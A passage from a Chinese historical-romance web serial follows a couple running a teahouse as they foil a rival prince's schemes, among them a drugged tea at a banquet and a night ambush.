傅之行自是不会惯着她的,将来人推离自己,一字一句地,“此生,我定不负小满,我只愿一生一世一双人。”
好一个一生一世一双人,姚之桃被其推开后,一个踉跄摔倒在地,“我可是尚书千金,王爷,您不想家父为您在陛下面前美言吗?”
“尚书大人怕也不曾想过,自家千金也有仗势行事的一面罢。”
“你!”
沈清欢不愿再与其多费口舌,心里头瞧着这般,也是不忍,扯了扯傅之行的袖子,让其切莫多言,示意回府。
纵使再豪迈的女儿家,当着众人如此,怕也是下了很大的决心。
还是速战速决,免得惹来旁人观看,予女儿家名声不好。
不过,傅之行刚刚说什么?一生一世一双人?沈清欢细细品咂着,这个傅之行倒是个会哄人开心的。
8. 糖醋小排
回府后,沈清欢虽嘴上未说分毫,可心里头还是带点情绪的。
她摩挲着衣角,她当然不是生傅之行的气,可他也太过于惹眼罢。
京城中如今还时不时,有人拿傅之行与其他柜贵族子弟想对比,他早已为人夫婿了,还是这么打眼,沈清欢心中定是有些醋意的。
门外此时不知从哪出飘来一股浓油酱赤的味道。
“咕噜噜”
沈清欢的肚子早已饥肠辘辘,光顾着生闷气了,还没用午膳呢。
想起那一桌美味佳肴,还没到嘴,就走了。真是煮熟的鸭子也会飞了。也罢,先寻些吃食罢,也不知是哪位嬷嬷,手艺竟这般绝妙,光闻着那香气,沈清欢就不免得直咽口水。
刚打开房门,就见傅之行倚靠着门框,手中还端着盘,色香味俱全的——糖醋小排。
“你来做甚?”
沈清欢眼神时不时地往小排上瞟,嘴却是硬的,像是很不近人情的样子。
傅之行端着盘子故意在沈清欢面前一直晃悠,口中不断地讲述着这糖醋小排的滋味。
沈清欢耳边徘徊着“油津津,甜滋滋,酸溜溜”这些词藻,“好了好了,我去就是了。”
属实也是受美食所诱惑,沈清欢跟着傅之行来到一楼小厨房中,用午膳。大家伙早已上楼休憩去,小厨房中唯有傅之行与沈清欢二人。
傅之行上里头为沈清欢盛了,满满一大碗,晶莹剔透的白米饭。淋上糖醋小排的肉汁,每一颗米粒都散发着香气,显得格外诱人。
放置沈清欢面前,“吃吧,我家的小醋坛子。”
谁是小醋坛子?这能怪我吗?
沈清欢本想再反驳几句,可肚子却不合时宜地响了起来。罢了,先填饱肚子为上!
知道这小排必定不一般,可沈清欢还是没想象到这小排味道,堪比燕来香的大厨之手艺。
吃得正香,傅之行又接连端上好几盘极具卖相的菜,有清炒油麦菜,山药排骨汤,还有沈清欢常吃的蒜蓉大虾。
傅之行大气地将菜品都推至沈清欢面前,“都是你的,别客气,小醋坛子。”
哪壶不开提哪壶。
但看在如此有心意的份上,沈清欢在心里默默将那事儿翻篇了,其实本也没有怪他的意思,如今这一弄倒显得自个儿小家子气了。
沈清欢嘴里叼着大虾,伸手盛了一碗排骨汤给傅之行,“夫君,你也吃。”
午膳过后,沈清欢扶着腰,躺在屋中的竹椅上,今日这顿吃食属实是称她心意。
闲来无事,沈清欢伸手戳了戳身旁看着信笺的傅之行,“夫君,今日烧饭的嬷嬷手艺真不错,你可知,那糖醋小排的味道与燕来香可谓是一模一样,真是好手艺啊,哪日我定要拜她为师请教请教。”
“择日不如撞日,唤师傅吧,为师给你改口费。”傅之行淡淡来了一句。
不是?
“今日这些个吃食是你烧的?”沈清欢一个机灵就从竹椅上坐起。
这家伙何时有这一番好手艺了。
傅之行眉眼间都带着些得瑟的意味,像是等着夸奖的小娃一般,面对沈清欢的疑惑带这些骄傲地点着头。
沈清欢却不按常理出牌。
口风当即一转,“其实,我说真的,夫君,口味嘛,细细品尝下来,比燕来香还是差上那么一截的......”
“可你刚刚嘴角都沾着油,还一个劲儿地嗷着美味。”
她不要面子的吗?就这么直接地点出来!
好啦,好吃的,乖乖,傅师傅?”
沈清欢讨好地哄着傅之行。
“我才不像某人一般,醋坛子,别唤我师傅,我水平哪有人家燕来香的大厨好......”
这个傅之行,也是个有些小脾气的,沈清欢好一番甜言蜜语后才彻底将其捋顺毛。
不过嘛,有一说一,傅之行的厨艺着实可以,也不知是从哪学的。
其实沈清欢不知,早在她尚未过门前,傅之行就将打探到她爱的吃食,并一一向大厨师傅请教回来了。
吃也吃了,休息了小半会后,沈清欢依照安排的任务接着去盘账。
楼下的暗卫们也皆备好下午的茶水,只待客人上门。
话说,这初春时节,本就是以绿茶为主的,这些茶叶经过一个冬季的修养,味道是鲜嫩爽口,回味甘醇。
可一桌江湖打扮的客人,却一连地抛出好几个问题来,挑三拣四。又是说回甘不够醇,又是说这茶水不够烫,总而言之就是来找茬的。
沈清欢正盘着账呢,刚理好的思路都被,那些个嘈杂声给搅和乱了。
老虎你不发威,当她是小猫啊。
在傅家的地盘上也敢造次,当真是胡搅蛮缠的,谁人不知傅家茶楼的茶是一等一的好。
沈清欢决定亲自会会这些个混犊子。
暗卫却担忧其会受伤害,沈清欢略摇了摇头,示意其先退下。
傅之行也从密室里闻声赶来,在沈清欢身后护着,暗卫也遵着意思先离开了。
“不知几位客官有何不满啊?”沈清欢斜着坐下,拿起桌上的茶盏摇晃着。
“你这傅家茶楼,怕只是徒有虚名吧。我弟兄几个是丝毫没品出来滋味在哪。”
为首的混混流里流气地嘲弄,一只脚架在椅子上,手在下巴边摩搓着,眼睛上下打量着沈清欢。
此人点的是顾渚紫笋茶,鲜茶芽叶微紫,嫩叶背卷似笋壳。这茶在茶楼中一向是出色的,怎地在他口中竟毫无优点?
沈清欢算是看清了,此人与他讲理,是讲不通的。
那混犊子偏还是个看不懂眼色的,见沈清欢细纹调理地说着道理,就真以为她是好欺负的。举止愈发下流,竟敢用手中折扇去轻佻沈清欢的下巴。
傅之行先反应一步,瞧此人如此卑劣行径,一个扫腿就将那桌椅掀翻在地,沈清欢趁机一只脚牢牢地踩在椅子上,将那混人扣押在地,那人的小弟们本想上前搭救,可瞧着这二人冷峻的气场,竟是扔下头子不管不问了。
“一群吃干饭的!”那混人嘴中还在骂骂咧咧
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。
沈清欢反过来缴了那人的折扇,点在他头上,逼问着,“可知错?”
那混人倒也识时务,“姑娘,您大人不记小人过,饶了我吧。”
听这口音......
沈清欢扭头望了傅之行一眼,二人相视一笑。
傅之行在其身上搜罗了一番,发现了一银票和一地图,地图上的终点正是这傅家茶楼,那混人似是没想到这二人会探究如此之深,但他本就是江湖混混,经不住傅之行二人的几番逼供,就全招了。
原他是一日骂街闹事时,被一贵人妆扮的男子寻走,交予他一面值不小的银票,和一地图,让其来地图上的终点处闹事。搅乱其生意,若是能扣上不良奸商的恶名就更好。
“不过,你们是如何发现的?”
“这倒不难,其一,你的口音乃吴县人,你一身尘土和包裹,要么是来搬迁要么是办事,你尚未歇脚便来我家茶楼寻事,你说不受人指使,谁信?其二,方才你在门口照着图张望之时,早已被我家小厮察觉。”
沈清欢敛了敛眼中神色,心中也有了个大概。
此人面熟,前世她伴着傅恒去讨要知府手中的地契时,他便是用的这招恶心的法子。
纯属不利己,纯膈应人,惹得人心中不畅快。
沈清欢低头忍不住发笑。
这傅恒手段是一如既往的——低陋。
也罢也罢,心中有明镜,就好办的多。
沈清欢知晓此人弱点,他虽是混江湖的,但毫无江湖义气的,顶多算个大混子。
不过稍加引诱,便套出了雇主的所有信息,直言不讳,还立了个字据,说是给其日后好对证。
调查清楚后,沈清欢便将此人放了,他不是个重要的,怕只是端王故意来恶心他们的。
前些日子刚灭了其威风,近些日子就坐不住了。
竟什么货都往这边送,口风松的二人都替端王感到可惜。
虽说端王目前尚未有精力对付他们,沈清欢也怕其暗地里耍些见不得光的手段,还是小心为好。
经过这一番折腾,沈清欢的账今日怕是算不完了。
沈清欢拿着账本呈在傅之行面前,带着些无奈地笑。
傅之行一时没有反应过来,被沈清欢用脚踢了两下后,懂了她的意思。
账做不完如何?自家的夫人,自己宠着呗。
沈清欢倒不是想做个甩手掌柜,美其名曰,“能人善用。”
将账本甩给傅之行后,本想偷摸溜走去做些沏茶的活计,傅之行哪允许她走,一个牵制,就将她牢牢锁在怀里。
“夫人,想走可没那么容易。”
真是个粘人精。
沈清欢打着哈欠,随着账本的翻动,逐渐合上了眼皮,傅之行也不孬恼,唤来嬷嬷来了张披风盖于她身上,就继续理账了。沈清欢醒来时看到的画面便是,一张俊逸的脸认真地查阅着账本,而她蜷缩在傅之行身上。
成婚也有些时日了,还是会被其美色给诱惑到,真是色令君昏啊。
9. 美人宴
尝过傅之行的厨艺后,沈清欢一直念念不忘那一口。
茶楼生意不忙时,总是缠着傅之行露露手艺。
“我说白了,夫人近日看我的眼神就如同阿黄看见肉包子一般。”
“夫君莫要妄自菲薄。”
“怎地?”
“你比肉包子更有诱惑力。”
傅之行是有苦难说,捋起衣袖为自家夫人下着厨房,也罢,难得得空与她做些闲杂事,傅之行也乐得其所。
刚收到端王府递来的赏茶宴邀请函,就在三日后。
冒着热气的菜刚端上桌,沈清欢的筷子便夹上了一块品相上好的小排,迎着傅之行的目光,沈清欢客气地将其放置傅之行碗中。
“夫君辛苦了。”
酒足饭饱过后,傅之行将收到的邀请函予沈清欢。
沈清欢狐疑地不停检查着信函,真是太阳打西边出来了,这端王府好端端地办什么赏茶宴?他傅恒懂茶吗?
生怕别人不知这是个鸿门宴罢。
这一出倒是整的冠冕堂皇,作为京城名声赫赫的茶楼,且傅之行为其兄长,去也不是,不去也不是。
傅之行安抚地拍了拍沈清欢的脑袋。
“无妨,去看看这傅恒又在耍什么花招。”
这事便这么定下了。
沈清欢本想借故让其推辞掉,可其只道让她安心。
不是,这让她如何安心,拗不过傅之行,沈清欢便提出与他一同前去,她倒要看看这傅恒在耍什么花招。
三日后。
临出门前,沈清欢总觉得心中烦闷,再三叮嘱着傅之行若有事端,二人便以暗哨为旨。
许是今日达官显贵众多,他们到时门前已挤满了人。牵着沈清欢下车,依次递上请帖,二人便跟着小厮来到了今日的主客场。
傅恒今日打扮是较为典雅的,一身素青色的长袍,发冠束起,宛若一副翩翩君子的模样。
沈清欢暗暗吐槽,“真是什么东西披上人皮都可以当人了。”
脸上却还是要应付着的,随着傅之行就坐后,等着宴席开始。
傅恒见宾客已齐全后,低声与身旁小厮倒些什么,唇边溢出一丝笑,豪迈地“今日各位受邀来我端王府品茶,实乃在下的荣幸,近日幸得几分好茶,特来邀各位一同品鉴品鉴。”
说罢,只见其拍了拍手掌。
一队着粉色青缕衣的侍女们,以纱蒙面,手中端着各类样式的茶品,透着光,沈清华都能看见那些个侍女们婀娜的身姿。
这些个侍女似是早已得某种吩咐般,一个个皆往那些个落单的贵人们身上靠,手中举着茶杯,要喂贵人们喝茶。
请来的舞娘在宴席正中与琴声相伴翩翩起舞。
沈清欢有些看不下去。
真是下作。
这是哪门子品茶宴。
场面一时有些杂乱,颇有风骨的皆甩袖告辞,那些个畏惧端王权势的则是进退两难,畏畏缩缩,倒是便宜了那些本就想上赶着巴结傅恒的,他们借此正好攀上枝头,也乐在其中。
沈清欢藏在裙下的手有些微微冒汗,试探着去寻傅之行,这场面,身为相府嫡女的她是属实没见过。
荒诞至极。
傅之行淡定地拦过沈清欢的肩,将面前的茶递至其嘴边,“尝尝,味道不错。”
沈清欢轻轻抿了一口,茶是好茶,回甘香甜,浓香醇厚。
可好茶没应上好景,糟蹋了。
傅之行身旁也不断有各路的人来谄媚,皆是些冠冕堂皇的说辞,听得烦了,傅之行携着沈清欢就要离去。
傅恒见状,也是推开身边的美人儿,扯着嗓子作势挽留。
“兄长何故离去啊?”
沈清欢还站在原地,听他挽留,心想,终于是坐不住了。
不过多言语,傅之行随意扯了个幌子,“昨夜个理账册忘却了时间,现疲乏的很,为兄先告辞了,你们继续。”
傅恒闻言,直接站起身来,扇着折扇,一副你看我信不信的架势。
气氛一时有些停滞,一旁席位上的狗腿子是生怕受到牵连,正欲偷偷溜走,可聪明反被聪明误,恰好撞进了傅恒的眼。
“怎地,美人儿也摸了,茶也喝了,王大人这是翻脸不认人了?”
“不不不,王爷,您误会了,我内急,我内急......”
傅之行轻轻笑了,不愿再理会,一副你能奈我何的样子。
另一边的傅恒心中火气是更甚,他最见不得傅之行这一副自视清高的模样,分明他是父皇最受宠的儿子,为何这沈清欢偏偏选择了傅之行,他到底哪处好?
傅恒压住怒气,随后挥挥手,身边一侍女便端上一盏茶,受到其指示后,径直走向了傅之行。
“兄长既要离去,临走前不妨帮弟弟品鉴一下这盏茶罢,听闻傅家茶楼好茶众多,兄长看看这盏茶为何定为啊?”
面前的茶杯中,飘着泛黄的叶,茶水的颜色呈浑浊般,是下了药的。
傅之行并未动那盏茶,而那端茶侍女见状后直接扑进了其怀中。
发生的太过于突然,傅之行踉跄了一下,反应过来后,赶忙避开那侍女的触碰。
“傅恒你!”
“怎地?我的好兄长?哦,是我管教无方,这侍女今日不知怎地,冲撞了你,直接赠与予你罢,她也算得个美人,送至你府中随你如何处置罢。”
沈清欢知其下作,却不想其如此下作。
她抢先一步答复,“端王殿下,我傅家也不是小气做派,区区鸡毛小事,不至于此。”
随后撒娇般,“夫君,你不许应!如此小肚鸡肠以后何人敢为你做事?”
好一招指桑骂槐,傅恒心里恨意滋生,眼瞧着这二人的恩爱模样,心中嫉妒的沸腾。
沈清欢知他定在心中揣摩自己,只可惜,他不知如今在他面前的早已不是前世的那个沈清欢。
沈清欢借机趁热打铁,“这茶也没品鉴成,衣裳倒是打湿了,端王殿下,您府中人做事都是如此毛手毛脚的?也不知是谁教的?”
“依小满所言,我派人再为你上一盏茶可好?”傅恒作势就要上前攀上沈清欢的手。
口中正欲唤人。
沈清欢向后撤了一步,躲避开,冷笑一声,当即打断。
“不必劳烦了,既不是有心请的,喝了倒使人遭心。”
傅恒一时有些怒火攻心,说话也是尖锐起来,“哟,沈大小姐是从何处判定本
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王今日不是有心的?你同我好好说说。”
傅之行很少有动气的时候,可傅恒把茶盏架在沈清欢面前,扬言不喝也得喝之时,他坐不住了,先是冷声呵斥着其目无尊长,后将沈清欢拥入身前,一副不好惹的模样。
傅恒见状,自知不好当众与其关系闹僵,捏紧了手心,强压下眼里的不甘。
随后便装模作样地道着都是些玩笑话,自罚了一杯酒水,同时也向沈清欢示意,傅之行伸手捏了捏沈清欢的手心。
随后,沈清欢详装致歉,举起茶盏装作品鉴之态。
不知从何处突窜出来一条狗,直冲冲地往沈清欢身上扑,沈清欢一个没站稳,将茶水摔落于地,那狗贪嘴地舔舐着地上的茶水。
不一会儿,竟晕了过去。
一时间,场上一片哗然。
面对众人的议论纷纷,傅恒看着远处的傅之行二人,心中恨意滋生。这二人竟不知从何处将他府中的爱犬放了出来,设计这么一出,真是好计谋。
有人已认出那犬为端王府所饲养,“咦,这不是端王殿下的爱犬吗?”
“那想必此事另有隐情罢,再如此,也不会那自家爱犬开玩笑。”
有人应和。
傅恒也顺势而下,扬言要派人调查给大家伙一个交待,随后又故作庄重地弯腰鞠躬给傅之行二人赔礼致歉。
交待?怕只是倒时随意扯个理由搪塞过去罢。
不过,此话既出,其二人也便给他这个面子,也连连感叹此举肯定乃奸人所为。
毕竟识时务者为俊杰,暂时尚还是不必将他惹急了,疯狗可是会咬人的。
这场闹剧就此作罢。
回府的路上,沈清欢聊起今日这出戏,赞叹着傅之行的未卜先知。
“你怎知他会予你杯中下毒?又是从哪出引来的那犬?”沈清欢好奇极了。
不曾想这傅之行一出闹腾,自己做的谋略,倒是为用的上。
傅之行边揉着沈清欢的脸边告知其所有计划。
得知真相后的沈清欢对傅之行是更加佩服,不谈能料想到端王的下作手段,还能提前派人在端王府的院中撒上诱食剂,在合适时机再将那犬放出。
那傅恒也是个蠢的,今日宴席如此隆重,也不知在后院多增添点人手,倒是将护卫都调至前院,这不纯属给他人在后院做文章的机会吗?
不过,那傅恒也不至于真的要在今日取他二人性命,茶盏中的只是一些蒙汗药。
也好在其未真的下些其他东西,不然他的爱犬可就遭殃了。
沈清欢突然又想起前世种种,她当初究竟是吃了何蒙汗药,看上了那个杂碎?
真是有眼无珠。
今日茶楼本就已安排嬷嬷代管,二人便没拢去茶楼,直接回府了。
稍稍收拾了般,沈清欢替傅之行换去了那打湿的衣裳,重新拿一件长衫给其换上。
日光暖暖地洒在地上,照的房中金灿灿的。
沈清欢瞧着傅之行精瘦却有型的身形,眼神有些躲闪,还未替其缠上腰带,便找了个借口,先出门了。
真是美色误人。
沈清欢耸了耸肩,觉得自己也是个没出息的,她是明媒正娶的王妃,脸红什么?
10. 茶香伴软骨(一)
自打端王府的“鸿门宴”已过去近半月。
沈清欢听傅之行的嘱咐,已有许多时日尚未出门,茶楼门前也都安置上傅家暗卫作为眼线。
狗急了是会跳墙的,这是傅之行的原话。
本还在闷声抗议的沈清欢,仔细揣摩后,觉得甚是有道理,便也应允了,她可不想重来一世还撞上端王的设计里。
秉着听话顺从的观念,沈清欢的作息现可用“规整”二字来形容。
就说她每日晨起,从被唤醒后,先是乘着傅家马车来到茶楼处,其次花上八文老顾客的价钱,吃上一碗热腾腾的馄饨,后摸着自个儿圆滚滚的肚皮走至对面的傅家茶楼中去。
已做了许久的邻里街坊,馄饨摊的李老板也是头一次见着如此钟爱他家馄饨的,心中暗暗替傅之行感叹,这傅家王妃倒是个与众不同的——
且不说性格大方开朗,就谈每日他刚起摊,沈清欢若是来早了,定是会帮着摆弄着一些杂物起摊的。
尚如今,如此不摆贵人架子的,倒是少了。
傅之行自“鸿门宴”后便着重安排人手把关着茶楼,他隐约有种不安的感觉,那端王怕是已然对茶楼有所起疑。
那一桩品茶的戏码,摆明就是给他们一个下马威。
可惜,他傅之行不吃这一套。
细数暗桩建立已有几月,于景与李默也在从外地捎来好消息。
那傅恒的心腹——户部侍郎,被扣押在流春宴。
流春宴,乃是京中有名的烟花柳巷,专供些有些地位的贵人玩乐。
傅之行已派二人盯着这户部侍郎许久,不知怎地,这人竟因囊中羞涩在流春宴中抵着了。
应付完主家嬷嬷后,傅之行手持一把利刃,挑开了蒙着的黑布,居高临下地瞧着跪地的那人。
见是傅之行替自己赎的身,李侍郎起初还带这些情绪,觉得是悲愤交加,自己丢一番脸倒罢了,竟落在个死对头的手中。
傅之行知他是个吃软不吃硬的,也不强硬着来,用手中利刃替其松绑后,一叠调查后的认罪书呈给那人看。
茶楼中,于景还是不解,“王爷,您就这么容易放他离开,会不会?”
“是啊,那李侍郎一向是同端王是穿一条裤子的,只怕他回去告状啊。”
李默也是担心的很,别处倒是无畏,这李侍郎在朝中是能言善辩,端王一党能有如今这发展,许多都是这李侍郎三寸不烂之舌的功劳,好不容易逮着个机遇......
面对着种种疑问,傅之行总是避重就轻,却对理由只字不提。
密室中的讨论声此起彼伏,沈清欢收拾完一楼的茶具后,见这几人商讨半天还未出来,便拿着一包金缕茶包去密室寻着了。
“别理睬他,你二人先来喝茶休憩会,他的心思你我都猜不透。”沈清欢刚进入密室,就听到激烈的讨论声,她虽不曾了解前因后果,但她知晓若是傅之行下定决心安排的,定是有他的用意。
可以往他都会同自己商榷。
沈清欢强压住心中泛起的酸涩,语气尽可能维持的识大体,打发着于景二人。
得了沈清欢的宽慰,于景与默这二人这才停止了声响,想着听着王妃的语气,王爷怕是连她也未告知。
待二人走后,沈清欢自顾自的坐下,抿着沏好的金缕茶,似是不在意地,“有需要定要唤我,知晓吗?”
傅之行侧过身,拥着沈清欢,他这夫人,是将他看清了的,可他不能,拉她下水。
“一切无恙,小满还是不知晓为好。”
外头春雷声轰隆作响,却不抵他心中半点分毫。
眼神向沈清欢示意,沈清欢余光瞧出一道人影,心下了然。
沈清欢装作还想说着些什么的模样,话还为出口,先瞧上的是傅之行的冷峻面孔。压下疑虑,她怀揣着心思品着杯中的茶,罢了,茶已凉却。
心里头五味杂陈,深吸了一口气,沈清欢还是未得到答案。
一时间,茶楼中的氛围变得是两极分化。
沈清欢是照常遵着傅之行的嘱咐,几乎两点一线,除却在茶楼中的时辰,其余得空之时,也都在傅府中度过。
于景与李默二人也突地得空闲了下来,那李侍郎的后续交由傅之行亲自打理。
沈清欢连续好几日无精打采,又一日,沈清欢扒拉着空碗发愣之时,馄饨摊的李老板终于忍不住开口询问。
沈清欢不便告知其真实原因,但一时间又并无好的由头,思索半天,扯了个夫妻关系不和睦搪塞着。
本是随意的玩笑话,谁知那李老板听后,面色是即刻由晴转阴,一副发现何不得了的事般。
眉毛紧紧拧做一团,一副不知当讲不当讲的神情。
沈清欢心已沉,脸上的笑意尽收,装作为难的很对模样,随后讨问,“李老板,您可是有何事要告知我?”
李老板先是说着些过往的情分话,说什么早年他也是得傅之行的恩惠,才能在傅家茶楼旁的几寸地,盘下一小馄饨摊。
如今这事讲出来,他只怕会影响这二人的夫妻关系,可不讲,他确实心有不安。沈清欢是个好姑娘,这么些年来,他也只见此一人走进傅之行心中。
罢了,李老板心一横,道出了自己所见闻的。
临了,还加了句,“王爷的为人,您是知道的,这其中必定有何误会,若能讲开是最好不过的。”
沈清欢已然失去所有支撑力,手指紧紧扣着掌心,只能挤出一个极为勉强的笑容,“好。”
李老板擦拭着旁边的桌子,眼神却依旧停留在沈清欢身上,嘴角扯出淡淡的笑。
调节了好半响,沈清欢在心中为傅之行立了许多个可能性。左右摇摆间,最终还是下定了决心,直奔茶楼,随后傅家茶楼门前贴出一告示—
傅家茶楼,暂歇片刻,明日复市。
回府迅速收拾出合身的男儿衣裳后,沈清欢差人替自个儿妆扮成一成年男性。
腰间别一金镶玉配饰,手中持一把象牙扇骨,扇面雕刻精美纹饰,宛若一翩翩公子。
出门前,就连傅府门前的小厮,也皆未认出此人乃自家王妃,还当是哪个有本事的贼人闯入王府,可当瞧清面容后,二人是震撼有余,疑虑更甚。
这王妃一副男儿扮相,且神色不同于以往的神采奕奕,反倒是增添了几分怒意,真是好生奇怪。
沈清欢出府后,也并未同他人生张,在路口遣了一车夫就直奔目的所去。
付好铜板,沈清欢第一次好好打量眼前的楼宇。
那楼两层之高,外墙是精巧的砖雕,并绘以各色的花鸟,鲜艳生动至极,门前有两高大的柳树,且因临近河流之因,耳畔还传来阵阵溪流声,若在以往,在别处,这声音定是动听的。
可如今,这声音就如针尖般深深扎入沈清欢的心,刺痒心痛。
门前揽客的一女子,身着轻薄的纱裙,脸上带着魅笑,瞧见有人来,身姿扭动着迎上去,亲昵地搂着沈清欢,“公子,您可有指定的姑娘啊?”
说罢,便引沈清欢进门。
这流春宴不仅外观华丽,内饰更是
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妙不可言。
只见其内部雕梁画栋,垂帘翠幕,一楼前厅摆着些雕花木椅,现有许多贵人在此喝茶饮酒。
往后是雅间,专供谈私事的客人与这流春宴的女子单独交流,大厅中还摆有戏台,专供花魁谈词作曲。
沈清欢浏览了一番,并未在一楼寻到傅之行的身影,眼见身旁的女子似是起了疑心,沈清欢掏出怀中的十辆白银,口中拟着还有朋友未到,先让女子退下了。
女子也是个机灵的,虽已看出沈清欢在扯谎,但有了白银的面子,那女子也是识大体地退下了。
沈清欢趁着人多眼杂,悄摸声地混去了二楼。
这流春宴的二楼皆为私人包厢,仔细听听,有些屋中还会传来女子的叫哼声。现已别无他法,沈清欢虽是不情愿,却不得一间间地探查。
穿自个儿的衣裳必是不可的。
好在这流春宴的人,都是些爱财的,沈清欢在拐角处拦下一此处的小厮,花了点银子套到了此处衣裳。
装扮过后,沈清欢详装送菜的小厮,一间间地打探着。
在被第五间的客人轰出门后,沈清欢不禁泛起委屈,片刻就红了眼。
一张小脸上泪珠子也是啪嗒啪嗒地掉,但,找人要紧,再次为自个儿打气后,沈清欢端着一碗热茶,拾起一抹笑容再次敲着门。
“咚咚咚”
“何人?”
虽说那人已伪装另一声线,可那枕边人的嗓音,沈清欢实在是太过于了解。
熟悉的声音响起后,沈清欢一时有些愣神,犹豫后,终究是不敢面对,直转身躲进角落。
出来的是一女子,那女子并无见到沈清欢,只当是哪个客人喝醉了酒,胡乱敲得,告知了门内之人后,便重新关上了门。
沈清欢见女子进门后,方才显身,嘴角露出一自嘲的笑,心中寒意更甚。
她想起那馄饨摊的李老板所说的,“我倒是听我一老友所说,似是前几日在流春宴见到了王爷。”
沈清欢起初是不信的,可直到她透过那扇窗的缝隙,瞧见傅之行的身影后,她才知,原来那摊主所言并非子虚乌有。
傅之行在屋中手中握着一茶杯,身旁是一身形婀娜的女子为其盏茶,瞧见这一番画面后,沈清欢不愿再探,转身回府。
就在沈清欢转身离开时的瞬间,另一侧也闪出一道人影。
门内的傅之行靠着窗,盯着那道人影,直至其离开后,才慢悠悠地唤身后女子现身。
那女子面容姣好,清秀的长相正是流春宴头牌—夭夭
“王爷,接下来该如何?”开口的是李侍郎。
“你可知背弃我的下场?”傅之行并未回复,倒是反问着。
李侍郎听闻连忙跪下,举起手一副忠肝义胆状。
“我与夭夭乃青梅竹马,若不是遭他所迫,我何至于此,如今王爷能助我夭夭脱身,我感激尚且来不及,何谈背弃这一说。”
李侍郎不同于在他人面前所展示的风流状,此刻倒是字字句句皆显得格外真切。
倒也是个痴情的。
那名唤做夭夭的女子,听后更是压抑不住内心激动,肩膀不停抽动着,话语也是断断续续地,只一味地道谢。
傅之行瞧着面前二人,走近身,在其二人耳边道了些什么,随后便领着夭夭从密室而出。
只留下一句,“你且在城外等候,夭夭今晚定是能与你再见的。”
“谢王爷。”李侍郎郑重地向傅之行拜谢。
夜色染上枝头,一抹寒凉逐渐升起。
11. 茶香伴软骨(二)
露水寒霜,打在巷口红花绿叶的枝头,显得是几分的娇俏。
沈清欢从流春宴后门悄声离去,提前安排好的马车也早已在原地等候。
踏入暖意溢起的车厢内,一双骨节分明的手为她递上一个暖汤婆子,沈清欢斜着坐着,手中接过汤婆子,而后顺势躺进那人怀中。
马车趁着夜色消失在流春宴门口。
在不为人知的巷口,一队黑衣人出现。
朦胧的夜幕中,这伙黑衣人蒙着面,个个都八尺有余的高,身后统一背着雕着鱼纹磷光的剑,领头的那人,招呼着身后的众人,一同尾随着马车就出发了。
“小心为上。”
身后突然传来一道声音。
沈清欢本有些昏昏欲睡,这马车做得实属让人犯困。可身后依偎着的人似是心事重重般,几番叮咛嘱托。
“好,你也要顾好自身。”
沈清欢与那人并不亲近,口中有许多叮咛话想诉说,仔细想想,却又不好多语,眼中却不免多了几分担忧的。
马车一路畅行,此刻除车厢内二人的呼吸声,只剩车轱辘的滚动声,沈清欢听力一向很好,当车轱辘明显碾压到不同于平常的触感后,她心中暗自打起鼓动。
终于来了。
马车很快便被截停在半路,车夫受人挟持着,口中唔咽地发出求救声,沈清欢伸手拨开挡着风的门帘,向外张望,正对上端王的眼。
“好久不见啊,小满。”
傅恒一身赤色长袍,瞳仁黑漆漆的光,一副似笑非笑之态。
沈清欢嗤笑着,“端王殿下夜半三更不在屋中享用美酒,流连塌卧,倒是转了性子来堵人了?师从何处啊?”
“你我非得如此针锋相对?小满,你从前……”
“你也说了是从前!”
傅恒嫉妒地发狂,他想不通为何说要嫁予他的沈清欢,转身就嫁给了傅之行。
明明她答应过他,明明她已写下退婚书。
眼角眉梢上都带有疑惑,傅恒身姿高大,一个跨步就扶持住沈清欢的肩,逼迫其与他对视。
沈清欢来不及往后躲避,反向一个用力,冲力之下就被摔在泥土地上,掌心也被尖利的石子刺破,泛着红润润的血色。
“小满!别逼我。”
沈清欢半坐在地上,脖颈间是傅恒手中泛着寒气的刀。
“你都瞧见了,他出没在烟花柳巷处,你何苦同他一道?你将真心付给他,可他可曾念过你半点情谊?”
“那你呢?如今这一出,是演的哪门子情节?论风流,他怕是不如你的万分之一罢。”
沈清欢淡淡出声,抬头仰视着傅恒明明身处劣势,身板却是挺直的,也不带有丝毫畏怯神色。
傅恒紧盯着她的眸,像是要透过这双眼,瞧出什么般。
车厢内突生躁动,傅恒一眼神轻扫过去,黑衣人便立马搜罗起来。
那人,也被带出。
傅恒见状,垂下眼帘,半蹲在沈清欢身旁,似是不经意地玩笑,“小满你如今胆子也愈发大了,敢私藏情郎啊?”
真是一出好戏。
“傅之行若是知晓你半夜与情郎幽会,你猜他会做何感想?”
傅恒深深地看了一眼沈清欢,插着腰,一股子替傅之行不值的样子。
随即又俯下身,在她耳边窃语。
“他可以,为何我不行?既都为情夫,你何不如选我?我有的比他多罢。”
“我才不与你狼狈为奸。”沈清欢不留余地地反驳着。
“端王殿下既对小女子的私事如此上心,何不看看我那奸夫是何模样?”沈清欢掸了掸衣袖上的尘土,一副毫不在意的模样。
有诈?
命人揭开那男子的面纱后。
端王拿着剑的手开始略略发抖,这哪是沈清欢的奸夫,分明是——
“怎样啊,老友重逢端王殿下是否欢喜的很啊?”
沈清欢见端王一脸吃瘪的样子,忍不住笑出声来,摆明了告诉他这是个圈套。
“来人,快把夭夭送回去!”傅恒起身搀着那男子装扮的姑娘,抚摸着她的脸颊,最终还是将她交予身旁的亲卫。
夜间风凉,傅恒取下身上的皮裘大衣轻轻为夭夭系好,正欲送她离去之时,耳畔却传来一阵嘶鸣声——
“这是要去哪儿啊,夫君?”
姚之桃一身素雅儒衣骑马而来,身旁跟着沈清欢再熟悉不过的身影——傅之行。
一时间,两派人马刀锋相对。
傅之行显然是有备而来,身后的傅家暗卫们皆身着盔甲,将端王等人围作一圆圈,本漆黑的夜,也因众人的火把亮堂了。
姚之桃的介入彻底掀翻了这局面,他上月刚与其礼成夫妻,而今竟被她捉了个现行。
傅恒终于明白,原来今晚这出戏是故意唱予他听的。
傅之行将那馄饨摊老板提溜至傅恒面前,“好兄长,有空设计他人,不妨多探探自己,是否问心无愧。”
话已至此,傅恒也不遮掩。
“是,我是差他故意离间你二人,傅之行,但你若不曾做过,又何必心虚?”
姚之桃听得此人如今还大言不惭地扯赖皮,心中怒火更甚。
婚后却独守空房一月有余,若不是沈清欢差人告知她,她还不知这端王在流春宴竟还有个相好。
傅之行委身设计探访流春宴,替她寻常那金娇后,却被傅恒察觉,还妄加设计陷害其二人。
真是贼喊捉贼。
她姚之桃先前虽有怨过傅之行,可也只为女儿家争风吃醋般玩闹,现如今父亲蒙冤,她夫君坐视不理。
